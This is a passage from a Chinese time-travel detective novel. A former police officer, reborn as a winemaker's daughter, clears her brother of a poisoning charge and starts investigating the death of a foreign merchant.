《酒娘妙探》 第1章 烧刀子(1) 苗景岚刚刚清洗完院子里的酒缸,迎面就撞上赶来上工的二黑。 苗景岚上下仔细打量他一眼,冷着脸说:“昨天晚上又输了不少吧,别问我哥预支工钱,他没有钱。你身上带来的东西也不用抵押给我,若是黑市上来的,还是从黑市上出手,出了事可别连累我们。” 二黑瞪圆了眼睛,满脸的不敢置信,嘴里结结巴巴的说:“你……你怎知……” 苗景岚看到他脸上的表情,不由好笑,“你刚进门时脚步发虚,眼眶发黑,一看昨晚就没好好休息,没干什么正经事。想想你以前的表现,不是赌钱输红眼,就是被窑姐赶出门,多半又是赊账欠钱,有什么难猜的?” “那……那你怎知我有东西要抵押给你?还知道是从黑市上来的?”二黑心有不甘的问道。 苗景岚勾勾唇角,似笑非笑:“你那身衣裳皱皱巴巴,唯独腰间鼓鼓攘攘,想必是有什么东西塞在腰间。一个急缺钱的人想要弄到钱,最快的方式不是典当吗?你家徒似壁,也没什么值钱的东西可以典当,多半是从黑市上淘来的。” “额的亲娘哎,二东家,你可太神了,你就看了我一眼,咋就猜中这么多?”二黑心服口服。 明岚不理会小伙计的恭维,吩咐道:“别光顾着拍马屁了,快把家里的那些变质的酒糟丢出去。记得丢远一些,不要偷懒只丢在巷子口,要不然那群猫夜里又要跑来打架。” 二黑一脸懵懂,“二东家,这丢酒糟跟猫打架有什么关系?” 明岚一拍二黑的脑袋瓜,“你傻啊,之前你老是把店里面的酒糟丢在巷子口,结果引来四面八方的老鼠偷吃,东巷的黑猫和西巷的狸花猫常常因为抓老鼠打架,搞得夜里我都睡不好觉。这回要是再让那两只臭猫害我睡不好觉,我一定扣你工钱。” 二黑的脑袋一缩,简直不敢置信,二东家什么时候变得这么神了?仅凭早上一眼,就知道自己昨晚赌钱输了钱,还知道自己带来黑市的东西想要典当,更离谱的是,连自己偷懒不愿把酒糟倒远的事情也知道,莫非这二东家长了第三只眼? 回想一下,自从半月前二东家磕破头醒过来,性情就变得有些不一样。难不成真是因为磕破头让二东家开了三只眼,二东家才这样神? 小伙计二黑这样一想,看向苗景岚的眼神有些不一样。 苗景岚当然不知道二黑的想法,她只觉得穿越过来的这个世界太过无聊。 半个月前,她因公殉职,从现代的一名刑警穿越成为酒坊的酿酒师。 嗯,专业不对口。 工作也比较枯燥。 对于前世一个滴酒不沾的人天天要在不擅长的领域打交道。 确实,比较难。 好在没有穿成什么嫡门落魄女,什么互换身份,勾心斗角、背后捅刀的戏码。 虽然这一世无父无母,只有一个单身的哥哥,好在哥哥善良淳朴,对自己也不错,生存空间不算太苦。 唯一觉得有些遗憾的是,不能发挥自己的所长,天天都得跟酒打交道。 苗景岚刚觉得无聊的日子有些难熬,就听到门外一阵嘈杂声,几个衙门里的捕快直接闯进来。 为首的捕头怒气冲冲的呵斥道:“谁是明岚酒坊的东家?” 苗景明听到外面的动静,径直走出来,应了一声:“是我。” “是我。”苗景岚和哥哥不约而同的应了一声。 那个捕头匆匆看过苗景明,又扫视苗景岚一眼,随后问道:“昨天你们当中是谁卖过一坛烧刀子给一个西域来的客人?” 苗景岚没吭声,因为她知道她们家的酒坊并不生产烧刀子,店里面少有的几坛存货都是父亲留下来的,一直没舍得出售。 苗景明却老老实实回答:“昨个儿确实卖了一坛。” 苗景岚觉得有些不可思议,记忆中自己和哥哥当初立下誓言,父亲留下的这几坛烧刀子只喝不卖,但凡家里面有喜事,才能拿出来喝。 怎么一向信守承诺、看重情谊的哥哥会把一直珍藏的酒拿出来卖? 那名捕头招呼左右的人,“把人带走!” 苗景岚见情况不妙,拦在哥哥面前,“你们凭什么抓人?” 捕头刑凌瞧这女子有几分胆色,语气稍稍缓和一些,“哼,昨夜买你们酒的客人喝过酒之后中毒而死,你说该不该抓人?” 苗景岚心中一惊,这酒坊的酒她都喝过,喝算不得什么绝世佳酿,但也绝对不会要人命。而且父亲留下来的烧刀子从来都舍不得喝,怎么就能毒死人。 苗景明也是不敢置信,连连喊冤:“官爷,你们是不是搞错了?那酒不可能有毒!” “哼,这些话你留着给县令大人说吧。把人带走!”说话间,几个捕快就要把苗景明带走。 苗景岚也上前一步,“既然你把我哥带走,那把我也带走吧。我和他都是明岚酒坊的东家,他有事的话,我也难逃责任。” 捕快刑凌的眼中有一丝异样,随即嘴角带着一抹笑意:“哟,你们兄妹倒是仗义。那行吧,既然你们两个人都是明岚酒坊的东家,那就一块走吧。” 随后,苗景明和苗景岚两兄妹一块被县衙里的捕快带走。 只留下一脸苦相的二黑,心里盘算着今年是不是流年不利,刚刚输银子,东家又摊上人命官司,要是这一回出不了县衙,自己是不是得重新找一份活干? 黎县的县令叫做侯元明,刚调到这里不足三月,就遇上一桩人命官司。这死的还不是别人,正是一个带着配刀的西域人。 这年头边关吃紧,连皇帝老子都不敢轻易招惹边关的西域人,偏偏有一个西域商人死在自己的辖区内,真是令人头疼。 侯元明看到疑犯带到,狠狠一拍惊堂木,呵斥苗景明和苗景岚:“大胆刁民,居然贩卖毒酒,还不从实招来?” “大人,你说人是被酒毒死的,能不能把尸体抬上来,给大家看一看?”苗景岚扬起头,对上县令老爷吹胡子瞪眼的脸。 “你这话是何意?难不成是本县令诬陷你不成?” “大人,小女子只是想弄清楚真相。这喝酒中毒之事并不多见,再说我那酒坊经营多年,从来没有发生过类似的事情。既然大人说是喝酒致死,至少也应该让我们看一看死者的尸体,否则空口白牙很难让人信服。” 侯县令心中恼火,但碍于刚刚上任没多久,想落一个亲切爱民的好形象,只能强忍住心中的不满,让人把尸体抬上来。 一个七尺西域大汉,皮肤暗黑,口唇发白,直勾勾的被人抬出来。 当场所有人见状,都心生恐惧的低下头,唯有苗景岚饶有兴致的仔细观察。 半晌,她对侯县令说:“大人,此人虽是中毒,但绝对不是喝酒中毒而死!” 第2章 烧刀子(2) 此话一出,满堂皆惊。 最吃惊的莫过于县令侯元明,这是他上任之后接手的第一个人命大案,就被人当堂指出有问题,岂不是丢了他身为县令的脸面? 顿时,侯元明的脸一黑,狠狠一拍惊堂木,“大胆!死者的死因是经仵作检验而得,怎么可能有误?” 苗景岚迎上侯县令的目光,娓娓道来,“县令大人,一般情况下喝酒中毒而死的人都会脸色发红,且口中会残留酒渣,身上会有浓烈的酒味。可死者的脸色发黑,身上丝毫闻不到酒味,可见死者并不是喝酒中毒而死。这些事情小女子不是仵作都看得出来,身为仵作如何看不出来?” 苗景岚此话一出,所有在县衙里围观看县令大老爷判案的老百姓全部都傻眼。 还以为新来的县令有多么英明,没想到一上来就被酒坊的小娘子给怼了? 明岚酒坊的酿酒小娘子,什么时候学会的验尸? 还有,她怼人的样子,看起来好厉害。 苗景岚不知道这群爱看八卦的乡亲们私下里如何议论,如今首要大事是洗清她和哥哥的嫌疑,她接着问:“按理说仵作验尸都会留下验尸日志,以便日后有任何质疑。请问大人,能否拿出验尸日志给民女一观,也好让民女死得明白。” 侯元明被田景岚接连一番的疑问给弄得面红耳赤,原以为可以借这个案子在百姓面前立立威,没想到一上来就碰上个硬茬,真是麻烦。 “大胆,县衙的仵作日志岂是尔等小民可以随便翻阅的?”侯县令竭力拿出身为县令的威严,其实心里面已经在发虚。 苗景岚觉察出县令的异样,继续追问:“莫非大人是想逼我们认罪?仵作日志是公堂上的证物,如今验尸却看不到仵作的日志,空口白牙就要让我们认罪,草民不服。” 在苗景岚旁边跪着的苗景明,心里面一直在打哆嗦。心说自家妹子什么时候变得这样能说会道?这样一番操作,会不会适得其反,反而得罪新来的县令大老爷? 苗景岚这话说得硬气,连侯元明自己都不由的佩服,感觉自己再不拿出仵作日志自己都成了一个渣官。 略微犹豫一下,侯元明向身后的刑凌招招手,“把牟仵作叫过来。” 刑捕头小声说:“牟仵作的母亲病逝,告了病假,大前天就走了。” 侯县令瞪大眼睛,感觉事情有些不妙,“那昨日给死者验尸的人是谁?” “回大人,是牟仵作的徒弟邓三。” 牟仵作在县衙里干了二十多年的仵作,勤勤恳恳、任劳任怨,也是有口碑的。想必牟仵作收的徒弟也不会太差。 “那邓三跟牟仵作学徒多久?”侯县令又问了一句。 “三个月。”刑捕头如实回答。 顿时,侯县令后背惊出一身冷汗,“那……仵作日志?” 刑捕头也是发现这案子怕是些麻烦,“回老爷的话,邓三验尸时不喜欢做纪录。” “什么?”侯县令惊叹一声。 堂上的人都听到了,包括苗景岚。 “大人,没有日志的话,就让县衙里的仵作当堂作证画押。倘若两样都没有的话,那死者死于喝酒中毒的事情就不成立,老爷无权把我们兄妹俩关在这里。” 面对苗景岚的质疑,侯县令心里有些急。 心说,这小娘子真不好对付。 此时,堂下围观的百姓已经蠢蠢欲动、交头接耳。 侯县令有些按捺不住:“此案恐另有玄机,择日再审。先放此二人离开,待案情另眉目,再令此二人到堂。退堂!” 说完,侯县令一拍惊堂木,溜了。 围观的百姓纷纷咂舌,没想到热闹没看到,倒见识到苗家小娘子的厉害。 谁也没有注意到,人群之中有一双眼睛正目不转睛的盯着苗景岚,眼神之中带着一抹意味深长。 等到酒坊之后,苗景明先把酒坊的门给关上。 今天出了这么大的事情,回到家中都有一种不真实的感觉,苗景明觉得自己要好好合计合计。 总觉得今天遇到的事情有点悬,特别是自己家那个原本只会闷声酿酒的妹妹更悬。 景岚什么时候变得能言善辩,又是什么时候学会的验尸? 好像自打上回妹妹摔破头之后,就开始变得有些怪。 “大东家、二东家,我们终于回来了?酒缸我已经洗好了,剩下的那些酒糟我也抛得远远的,保证野猫不会寻到。” 二黑看到大东家和二东家回来,心情十分好。之前还担心两个东家要是一块蹲大狱,这酒坊黄了,自己是不是还要重新找过一份工作。 这下子好了,不用担心了。 “二黑呀,今天酒坊打烊,你提早回家吧。” 听到这话,二黑的心又沉下来。 打工有风险,赶紧换老板。 等二黑走后,苗景明坐下来问妹妹:“景岚,你何时学会的验尸之法,我怎么不知道?” 苗景岚心道“不好”,开始打起马虎眼,“大哥,我哪里会验尸呀?只是他们冤枉死者是喝了我们家的酒才死的,可我横看竖看那人都不像是喝酒死的。不想酒坊蒙受不白之冤,这才出言辩了几句。” “可是,你辩的这几句恰到好处,而且还辩倒了新来的县令大人,甚至发现他们仵作的不当之处,若不是亲眼所见,我都要怀疑眼前之人是不是真的是我妹妹?”苗景明说出心中的怀疑。 “哥,我的情况你还不清楚?你妹妹我是一个什么人,人不犯我,我不犯人,人家都欺负到咱们头上来了,要是再不吭声,爹留下来的酒坊就保不住了,大哥你也要受牢狱之灾。” 苗景明沉默片刻,今天若不是苗景岚,只怕他现在还呆在县衙大牢里呢。 “景岚,今天若不是你,你哥怕是凶多吉少。” “哥哥说什么客气话,不过话说回来,我记得那几坛烧刀子是爹留下来遗物,你逢年过节都舍不得喝,怎么会好端端卖给一个西域人?” “这……”苗景明有些吞吞吐吐,低下头有些不好意思的说,“有一个朋友急缺钱,我想帮帮她。恰巧那个西域人愿意用十两银子买我们的酒,所以我就……” 苗景岚发现苗景明的脸色不对,一直少言寡语的他并没有太多的朋友,怎么会有一个急缺钱的朋友? 难不成苗景明亲交了女朋友? 嗯,有猫腻,有猫腻! 正当苗景岚还想查根问底,就听酒坊的大门被人从外面推开,一个清亮的声音响起:“这酒坊最好的酒是什么酒?快端上来,给本公子尝尝!” 第3章 烧刀子(3) 兄妹俩回过头,就见穿着华丽,长相俊朗的年轻公子径直推开门走进来。 这人看着面生,这县里的客人苗景岚大多都认识,唯有这个人看着面生,可见并不是当地人。 那年轻公子面如冠玉,一双闪着精光的桃花眼总是像在对自己微笑一般。他走进酒坊,居然自来熟的拖出一条长凳,在一张桌子前坐下来。 苗景岚平常就不喜欢举止轻佻的男子,更不喜欢大白天就寻酒喝的臭男人,她情不自禁皱一下眉,“这位客官,本店今天不营业,请到别处喝酒去。” 可没想到那人却赖着不走,还坐在原地一动不动,“哟,没见过有钱不赚的店,也没见过有酒不卖的酒坊。难不成你们是担心我付不起酒钱?” “你看,这锭银子够不够我在这里买下一坛酒?” 贾仁把一锭沉甸甸的银子丢在桌上,直把苗家兄妹给看傻眼。 看那银子的成色和份量,足足有十两。 别说买下一坛子酒,就算是在这县里面买下一套房也是绰绰有余。 苗景岚倒是无所谓,苗景明见状,马上站起身笑嘻嘻的迎上前来,他知道今天算是遇上一个大主顾。 “不知道客官想喝什么酒?我们这酒坊别看脸面小,但在这县里面至少经营数十年,远近八乡的乡亲们都爱喝我们这里的酒。” “我要一坛烧刀子,你们这里有吗?”贾仁回对方一个大笑脸,话语里面却带着几分意味深长。 一听这话,兄妹两人脸色一变。 今天他们差点蹲大狱,就是因为烧刀子,现在居然还有人特意跑到他们店里来买烧刀子喝,这不是给他们的伤口撒盐吗? 面对这有几分挑衅的话语,苗景岚直接给对方一个白眼,“烧刀子没有,要喝烧刀子去别的地方。” “哟哟,这酒坊的小娘子脾气够辣,莫不是在县令老爷那里吃了气,把进店买酒的客人当作出气桶?”贾仁皮笑肉不笑的说道,明显带着几分挑唆的意味。 苗景岚听明白了,这家伙就是来找茬的。 她寻思着等会儿该怎么收拾眼前这个家伙,是趁其不备套上麻袋,拖到无人的角落暴打一顿,还是直接在他的吃食上弄点儿泻药,让他学会怎么做人。 苗景明安抚客人,“客官莫怪,这烧刀子并非是我们酒坊的特色,之前店里卖的只是家父生前留下的,已经所剩无已。客官若想喝店里的好酒,小人可以另外给您端上来。” 没想到贾仁继续没皮没脸的说:“巧了,小爷我就想喝上你们店里的一口烧刀子,花再多钱都可以。” 苗景岚听见,不由火冒三丈。 若不是担心自己突然揍上那无赖一拳会引起哥哥怀疑,她直接就想暴揍对方一顿。 “客官莫要为难我们,那烧刀子真的没有。况且那酒十分烈,若是客官不胜酒力,只怕喝过一坛会醉上个三天三夜。不如客官尝尝我们店里的其他好酒,保证比那烧刀子更加甘淳,更加好喝几分。”苗景明不愧是大东家,生意做得就是精。 贾仁略一犹豫,“那也行,不过我要这位小娘子给我斟酒。” 苗景岚听见,已经忍不住捏着两个拳头,打算在某人脸上试一试。 苗景明心疼妹妹,替妹妹打着马虎眼,“嘿嘿嘿,这位客官,小妹笨拙,不擅长做这些。实不相瞒,她在厨房里干活都会打破碗,不如让小的来服侍客官。” “哼,小爷还就想让她来伺候。”说话间,又从腰包里取出一锭银子,“加上这个,够不够?” “客官,你这又是何必?”苗景明不知道自己妹妹是哪里得罪这尊瘟神。 苗景岚的拳头捏得更紧,面上皮笑肉不笑,心里面恨得牙根痒痒,没想到这世上真有人傻钱多的家伙。 上赶着来找茬,是吗?我就出手教训教训你这不知道天亮地厚的家伙。 “哥哥不必多言,既然人家指明道姓要来送银子,也没有有钱不赚的道理。只是客官想要我服侍你喝酒,也要你能消受才行。”说话间,苗景岚已经端上一坛酒走上前。 那是明岚酒坊卖得最好的黄酒,虽然没有烧刀子那样烈,但是要是真的喝上一整坛,也会让你大醉不起。 苗景岚给贾仁倒上满满一大碗,还叮嘱道:“客官,我们这县城喝酒有一个规矩,若是主人给客人倒了酒,不管酒倒了多少,都要满满的喝完,否则就是不懂礼数。” 贾仁听明白了,这是给自己挖坑呢。 “最是难消美人恩。既然是姑娘给我倒酒,我自然是要一饮而尽的。” 说完,贾仁端起酒碗就大口大口喝起来。 这黄酒虽然不烈,但是一饮而尽的话也是浓烈,贾仁喝光之后忍不住剧烈的咳嗽起来。 苗景岚看着挺爽。 “姑娘倒真是一个利落的人,难怪在公堂上敢跟县令老爷叫板,倒真是女中豪杰。只是我好奇那名来你们店里买烧刀子的客人如果不是死于喝酒中毒,那是死于什么?” “哦,原为你来我店里不是为了喝酒,是为了那个案子?你究竟是什么人?”苗景岚好奇的问。 贾仁那双含情脉脉的桃花眼仔仔细细打量苗景岚,这女子并不是什么天姿国色,长相十分寻常,却在眉眼唇角之间带着一种非一般的倔强,倒使人过目不忘。 “小姓贾,名叫贾仁。只是途经此地的悠闲散人,好奇居然会有人因为喝酒而中毒而死,所以特意赶来看看。当我在县衙里看到姑娘以理据争的样子,就知道此案另有玄机,所以想来看看姑娘打算如何彻底洗清嫌疑?” “嫌疑?贾公子恐怕误会了,我们是因为没有罪才被县令当堂释放的。” “说是如此,但那死者确实是喝过你们的酒之后才死的。若不查出那人的死因,只怕你们这酒坊以后的生意也不好做。” 苗景岚脸一黑,虽然贾仁这话不中听,倒也是在理 “难不成贾公子也想知道那死者真正的死因?” “好奇而已。” “既然如此,你就同我一块一探究竟。” 第4章 烧刀子(4) 黎县不算大,但也不算小。 青楼、酒坊、茶楼、赌坊,声色犬马该有的都有。 苗景岚和贾仁出了酒坊,来到大街上。 苗景岚没说要去哪里,贾仁却很听话的跟着她一路。 这一路上,贾仁小嘴呱唧呱唧就没有停过。 “苗姑娘出身酿酒世家,这酿酒的本事是家族遗传,只是不知道这验尸的本事又是从哪里学来的?” “你就看了那尸体一看,就断定他不是死于喝酒中毒?” “这县衙里的仵作不是从业多年,就是年过半百,才习得一身的好本领。” “我看姑娘这里有点儿神乎其神,不知道可否不吝赐教?” …… 虽然贾仁是一个话唠,可苗景岚从头到尾都没有跟他说一个字。 这两个人走在大街上形成鲜明的对比,一个轻摇纸扇的富贵公子对着一个冷若冰霜的姑娘滔滔不绝,不知道的还以为是哪家的纨绔当街调戏良家少女。 贾仁见苗景岚一直没有理自己,不由合起纸扇着急的问:“我说苗姑娘,你怎么不说话?你这一路上带我走了这么多的路,是要去哪儿?” 苗景岚终于有了回应,她一指前方,“前面往左便是。” 贾仁虽然不是本地人,但在这个地方也呆了有些日子,他一见苗景岚所指的地方,不由有些错愕,“那里?苗姑娘,那里不是县衙吗?” 半柱香之后,苗景岚和贾仁来到黎县的县衙后门。 此时天色已经暗下来,因为这里是县衙,又是在一条陋巷,周围没有什么人经过。 苗景岚站在墙角下,一指她面前的一块空地,带着几分命令的口吻吩咐道:“蹲下!” 贾公子从小到大都是锦衣玉食的被人伺候着,哪里被人这样命令过,“姑娘,你这是何意?说好的是一块探案子的,你这把我带到县衙后门,还要我蹲下……” “你到底是蹲,还是不蹲?”苗景岚的声音不大,但话语里面带着一种莫名的压迫感。 贾仁用审视的目光向她看去,这姑娘长得不算标致,瓜子脸,柳叶眉,鼻梁小巧,嘴唇薄薄。眼睛不算大,但眼眸中带着几分凌厉。 远看有一种弱柳扶风、楚楚可怜的感觉,但今日在县衙见识过她的真面目之后,贾仁知道绝不能小瞧眼前这个女子。 “好,好,你说蹲就蹲!” 贾仁把纸扇插入腰间,弯下腰蹲下身子,嘴里面小声的嘀咕着:“你知道你这是蹲在谁的背上,若是我家兄弟看见,恐怕你脑袋都不在脖子上。” 上一世的苗景岚身手不错,平常的格斗不在话下。 按理说这样矮矮的一道墙,她只要稍微腿上一用力,便可以轻轻松松翻过去,之所以要让贾仁蹲下来,只是想戏弄一下这家伙,谁叫这一路上贾仁就没有让自己耳朵轻松过。 贾仁只觉得自己的背上被人狠狠踩过一脚,像是谁故意踹自己,等他回过神之后,就见苗景岚已经伶伶俐俐的翻过县衙后院的矮墙,轻轻松松站在另一头。 “诶,我说你进去了,我可怎么办?” 苗景岚嘴角一弯,笑着说:“那旁边不是有一棵大树,你从树上翻过来就可以。” “咝——你说得倒是轻松,小爷我什么时候做过这翻墙的勾当?” 这话说得好像是苗景岚把他带坏了一般,苗景岚没好气的白了对方一眼,不再理会。 过了一会儿,就见县衙的停尸房,两个脑袋鬼鬼祟祟的在窗外探头探脑。 停尸房内,牟仵作和刑捕头正争得不可开交。 “牟仵作,你这具尸体什么时候可以验完?” “快了快了,明天早上就可以交给县令。” “还要到明天早上?你不知道因为这具尸体,今天县衙里面都乱成一窝粥,县令大人的面子都丢光了。” 牟仵作刚办完葬礼,不等跟家里的亲戚叙叙旧,就被县衙里的的骑着快马催促回去验尸,肚子里面还压着火。 此时听凌捕头这样一说,便没好气的说:“我只是请三天的假,怎知道会这么巧,突然就有一具西域的尸体要验。你们偏偏不等我回来,就叫我那未出师的徒弟出面验尸,出了事情反倒来怪我?” “唉,这谁知道呢。县令大人初来乍到,也不知道咱们这里的情况,偏偏你那徒弟又不争气,死的还是西域人。可最让人想不通的是,那苗家姑娘不是酿酒的吗?怎么也懂得验尸?” 牟仵作也听到过有关今天县衙上的事情,对苗景岚也很是好奇,“这仵作一行虽不是什么了不起的差事,但也需要一些时日才能成器。那苗家的丫头若是真有你们说的那样神奇,我倒是要好好见识见识,说不定咱县衙里将来会多一个女仵作呢。” 听到这里,原本在窗外偷听的贾仁不由偷着乐起来,还忍不住打趣苗景岚:“嘿嘿,你被老仵作看中了!” 苗景岚眼神如刀子一般,狠狠的剜了对方一眼。 刑捕头接着吐槽,“这该死的西域人,好死不死非要死在咱们的地界。你说他这高头大马虎背熊腰的,谁有本事能把他给毒死?” “是不是毒死,老夫不确定。但这西域人来到咱们的地界,想必没有多少人愿意跟他打交道,能杀死他的人更不多。” 牟仵作跟刑捕头的交情不错,这话里面有着向刑捕头提供线索的想法。 刑捕头接过话茬,“该查的都查了,这西域人是一个好色之徒。途经黎县逛窑子时,看中了青楼里一个叫做杨小兰的女子,经常来捧她的场。那杨小兰也是一个可怜的弱女子,断没有胆量敢杀了西域人的。” 苗景岚和贾仁听得真真切切。苗景岚觉得,这西域人既然跟青楼的女子比较熟,可以把这当作线索,问一问那个女子,这西域人平常和谁有往来。 想到这里,苗景岚给贾仁使了一个眼色,正要悄悄的走。 可贾仁心里不乐意了,心说,让老子翻墙爬树的人是你,一声不吭又要走人的也是你。 真当老子的老腰不值钱,动不动就要翻墙。 这一来一去动静太大,或许是让刑捕头听到什么。 就听里面的刑捕头大喝一声:“谁在外面?” 贾仁立马双腿一软,刚想要翻墙的腿怎么也爬不上去。 …… 第5章 烧刀子(5) 转眼之间,就听到里面的人正要从房间里面走出来。 贾仁心中焦急,腿上却怎么也使不上劲。 就觉得谁在他屁股上踹了一下,两腿不自觉的往树上爬了几寸,很快就攀到墙的边缘,利索的顺着墙根爬下。 贾仁一回头,就看到苗景岚跟个没事人一般的站在他身后。 “刚刚是你踹的我?” “瞧你那熊样,不是我你早就露馅了!” “咝——你这话说的。”贾仁心中气恼,明明是对方狠狠自己的屁股,偏偏还不能发作。 不过,从刚刚的事情之中,贾仁更加发觉苗景岚的不同寻常。 县衙上敢跟县令大人硬刚,还说得有理有据,一眼看穿那尸体不是死于饮酒中毒; 还身手敏捷,胆子大到敢夜探县衙。 这是一般的女子可以做到的吗? 贾仁从苗景岚身上观察到的谜团越多,心里面对苗景岚更加好奇。 眼前的这只小狐狸不但伶牙俐齿,还出手不凡,她真的只是酒坊的一个酿酒师吗? 想不到这一个小小的县城,也藏着这样让他兴趣盎然之人。 “接下来我们去哪里?”贾仁继续跟在苗景岚的屁股后面,像一条甩不掉的癞皮狗。 “刚才你没听见吗?那个死去的西域人平常最喜欢出入县里面的青楼,并且跟青楼里一个叫做杨小兰的妓子有染,我可以去找那个妓子,问问她有关西域人的事情。” 贾仁听苗景岚这样一说,微微一蹙眉,“既然衙门里的人都问过那个妓子,我们再去找她,又能问出什么话来?” 苗景岚扬扬唇角,带着几分神秘的微笑:“官府里面的人去问和我们私下里去问,情况肯定是不一样的。至于我们私下里面能问出什么,就要看你贾公子的本事了?” “为什么你这笑容让我觉得有些寒碜?”贾仁总觉得苗景岚的话里面藏着什么阴谋,“等等,你是让我扮成恩客去逛青楼?这……你把我想成什么人了?” 苗景岚瞪了对方一眼,“我可没功夫把你想象成什么人,是你自己说想跟我一块探案的。如今有了线索你却不去,难不成是想我一个女子去青楼找线索?” 贾仁一想,苗景岚说得倒也没错,总不能自己一个大男人不上前,全指望苗景岚吧。 “哼,去就去。不就是从一个妓子的口中套话吗?小爷我别的不在行,让一两个女子钟情于自己倒是可以做到的。” 苗景岚在心里面又朝对方飞了一个白眼,心说这货真是吹牛装逼张口就来。 天香楼,黎县最大的青楼。 贾仁整了整衣裳,打量一眼旁边的书童,不由语带讥诮:“我说小岚子,爷今天晚上带你来见见世面。” 说完,便亮出手里面的扇子,一摇三摆的走进天香楼。 门口的龟公很有眼力劲的上前迎道:“这位公子,头一回来咱们天香楼吧?咱们这里的姑娘应有尽有,长得俊的,性格好的,精通琴棋书画的,擅长内媚之术的,想要什么样的您尽管说一声,小的都给您送过来。” “先给我上个包间吧。”一走进天香楼,贾仁就是一幅浪荡公子的作派,一点儿也不像刚才说的那样青涩。 龟公马上殷勤的把贾仁引向包间,谁都知道一开口就敢叫包间的那都是大主顾。 “你们这里是不是有一个叫杨小兰的姑娘?” 一听这个名字,龟公马上变了脸色,“公子叫什么姑娘不好,怎么会想起叫她?咱们这里姑娘多,还是换一个姑娘吧。” “这姑娘怎么了?”听出龟公话里面有话,贾仁继续追问。 “呵呵,也没有什么。就是这个杨小兰算是楼里面的老人,纵有几分姿色也年老色衰,况且她还有一身的烂病,知道她情况的客人没人敢点她。” 贾仁顿时觉得情况不对,刚才在县衙里面刑捕头明明说那个西域人经常到天香楼捧杨小兰的场。 如果她真有那样的病,那个西域人肯定知道,为何还要时常来光顾她? “实不相瞒,本公子是一个怜香惜玉之人,最喜欢接济一些落迫之人。既然你说的那个杨小兰那样可怜,不如把她叫来,让本公子怜惜怜惜。” 说完,贾仁很大方的掏出一两银子。 龟公接过碎银,连连称赞:“哎呀,公子真是大善人,我这就把她叫过来。” 过了一会儿,一个身穿碧绿长裙、身资曼妙的女子走进来,那妓子不过二十出头,长相清秀,只是脸上带着病容,身上带着浓浓的风尘气。 “公子看着面生,头一回来我们天香楼吧,兰儿给你倒茶。” 贾仁抬头看了杨小兰一眼,没急着问她西域人的事情,反倒聊起家常:“姑娘倒是个贴心人,怎么流落至此?不知道在这里呆了多久,怎么不找个恩客把自己赎出去?” 兰儿轻叹一声,坐在贾仁的身边:“兰儿命苦,从小家贫,被人辗转卖到妓院,在这里一呆就是十几年。年轻时不想嫁给富人当妾,如今年老色衰,如何还有人要我?” 说到这里,杨小兰还落下几滴泪。 “姑娘不用这样伤感,看姑娘年龄不过二十好几,还不至于到没有恩客的地步。我听说有一个西域人不是经常光顾姑娘这里吗?” 话音未落,就见杨小兰的脸色一变。 “公子从哪里听说这些的?” “我只是路过此处,有些好奇。都说那个西域人生前跟你有染,所以来问问你,如果答得好的话,本公子有赏。” 说完,又从身上拿出几两银子,直接扔在桌上。 杨小兰看见银子,知道贾仁此次的目的,索性收起银子放入袖中,然后径直回答:“公子既然想知道那西域人的事情,索性直接问吧,兰儿一定把知道的全部告诉给公子。” “你是什么时候认识那西域人的?” “大约半年前吧,他说他是来这边经商的,问我有没有门路,一来二去,便熟了起来。” “他做什么生意?怎么还叫你来帮忙?” 杨小兰轻笑一声,“在公子眼里,我们这种轻贱的女子如何有门路。但人有人路,蛇有蛇路,兰儿好歹在这青楼里呆了十几年,几个生意人还是认得的。可以拉拢恩客,又可以赚银子,这样的好事兰儿自然不会错过。他说他做皮具生意,我把曾经的一个恩客介绍给他,他便感激我。” “那个皮具商是谁?” “搬走了。也就上个月的事情,这个月那西域客人找不到人,索性来找我,让我给他介绍其他的客人。” “他找你还有其他的事吗?” “没有了。这青楼里面,除了利益往来、皮肉生意,还能有其他什么事?西域人见我对他没有价值,也不来找我了,没想到第二天就死了。” “他到你这里有没有饮酒?” “没有,他到我这里只是办事,办完事他就走。” 这时,有店小二推门进来,低着头给贾仁端上酒菜,然后离开。 杨小兰一见那店小二,也转身离开:“公子,我跟那西域人真的没有什么。若您还想知道他的事情,不如到县衙问官差,兰儿今天身子抱恙,不能伺候公子,不如叫其他的姐妹过来?” “也好。” 兰儿欠欠身离去,贾仁刚想端起酒杯,给自己倒上一杯酒。 扮作书童的苗景岚在身旁好心的提醒:“我劝你还是不要喝桌上的酒。” 贾仁一惊,“怎么,这酒有毒?” 第6章 烧刀子(6) 贾仁一惊,“怎么,这酒有毒?” “我看刚刚那个送酒进来的杂役,虽然穿着和这里的杂役一样的衣服,但是身上散发着淡淡的血腥味,你没有闻出来?”苗景岚回答。 贾仁脸上浮过一丝嫌弃的神色,“我怎么闻得出来?”我又不是狗。 一想到刚才爬墙的时候苗景岚如何捉弄自己,他把刚刚想说的话又咽回肚子里去。 苗景岚也不理会,径直走出门外,跟着刚才那个杂役。 贾仁有些急眼,“诶,你倒是走慢一点,等等我呀。” 苗景岚走得急,没想到刚才那个杂役走得更急。 从脚上的速度来看,苗景岚觉得对方是一个练家子。 一个功夫不错的练家子跑到青楼里当杂役,这本身就是一个疑点。 再加上他身上浓重的血腥味,说明他身上有伤。 出了天香楼的后院,绕过一条大街,径直走到一个没有人的小巷,苗景岚看见那人进了一道旧门。 她站在门口,并没有进去,而是静静的待着,静静的观察。 前世她好像也是跟踪一个毒犯,那人似乎发现她的形踪,故意跑得飞快,她本来想逮住那人,没想到突然看见一个小孩差点儿被一辆疾驰而来的卡车撞上。 当时的她想也没想,冲上前就把小孩推出去,然后整个人晕过去,醒来的时候就已经身处这个世界。 虽然在两个世界,却感觉境况有点儿相似,以致于现在她盯梢的时候有一种莫名复杂的情绪。 贾仁也气喘吁吁的跟过来,看了一眼门后面,那是一处普通人家的旧宅,怎么看都不会和那死去的西域人联系起来,于是有些不敢置信的小声问:“怎么?那人就是杀人犯?” “还不确定。但此人一定和那妓子杨小兰有关系,你先在这里盯着,我去衙门报官就回来。” “啊,你去?” 留我一个人在这里?我有些怕怕呀。 贾仁心里面有些打退堂鼓,但当着苗景岚的面不好把心里话说出来。 苗景岚一回头,脸上的表情令人玩味,“我不去的话,你一个人去?从这里到县衙走大路大约需要半个时辰的路程,我绕小路只需要三柱香的时间。你在这里人生路不熟,腿脚还不利索,你要是想去的话可以你去。” 贾仁不敢回嘴。 原本爱多管闲事、见谁怼谁的贾公子自打遇上苗景岚之后,就觉得自己像熄了火一般,自觉变成对方的小跟班。 行吧,你都对。 苗景岚独自去衙门叫人,只留下贾仁守在原处。 旧宅里面,窗户里头亮起烛火,里面的人似乎没有睡意,一直没有吹来烛火。 